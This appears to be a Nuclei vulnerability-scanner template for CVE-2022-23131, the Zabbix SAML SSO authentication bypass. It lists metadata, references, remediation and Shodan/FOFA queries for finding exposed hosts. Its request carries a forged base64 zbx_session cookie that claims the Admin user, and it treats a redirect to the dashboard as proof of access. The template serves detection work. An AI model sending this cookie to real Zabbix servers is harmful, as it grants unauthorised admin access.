50 lines
1.7 KiB
YAML
50 lines
1.7 KiB
YAML
id: CVE-2022-23131
|
|
|
|
info:
|
|
name: Zabbix - SAML SSO Authentication Bypass
|
|
author: For3stCo1d,spac3wh1te
|
|
severity: critical
|
|
description: When SAML SSO authentication is enabled (non-default), session data can be modified by a malicious actor because a user login stored in the session was not verified.
|
|
remediation: Upgrade to 5.4.9rc2, 6.0.0beta1, 6.0 (plan) or higher.
|
|
reference:
|
|
- https://support.zabbix.com/browse/ZBX-20350
|
|
- https://blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storage
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-23131
|
|
- https://github.com/1mxml/CVE-2022-23131
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2022-23131
|
|
cwe-id: CWE-290
|
|
epss-score: 0.96928
|
|
epss-percentile: 0.99623
|
|
cpe: cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: zabbix
|
|
product: zabbix
|
|
shodan-query: http.favicon.hash:892542951
|
|
fofa-query: app="ZABBIX-监控系统" && body="saml"
|
|
tags: cve,cve2022,zabbix,auth-bypass,saml,sso,kev
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/zabbix/index_sso.php"
|
|
- "{{BaseURL}}/index_sso.php"
|
|
|
|
stop-at-first-match: true
|
|
|
|
headers:
|
|
Cookie: "zbx_session=eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiIiwic2lnbiI6IiJ9"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- "contains(tolower(header), 'location: zabbix.php?action=dashboard.view')"
|
|
|
|
- type: status
|
|
status:
|
|
- 302
|
|
# digest: 4b0a0048304602210098e9ab1b33d1b3b41c389f56314ffd95ef04fc192b57bdda68d90cd9b9436f91022100fe7d3acf3d3eb6a60a194e0c01b43d88a2ca0c0316ae7463e459ecea98372702:922c64590222798bb761d5b6d8e72950 |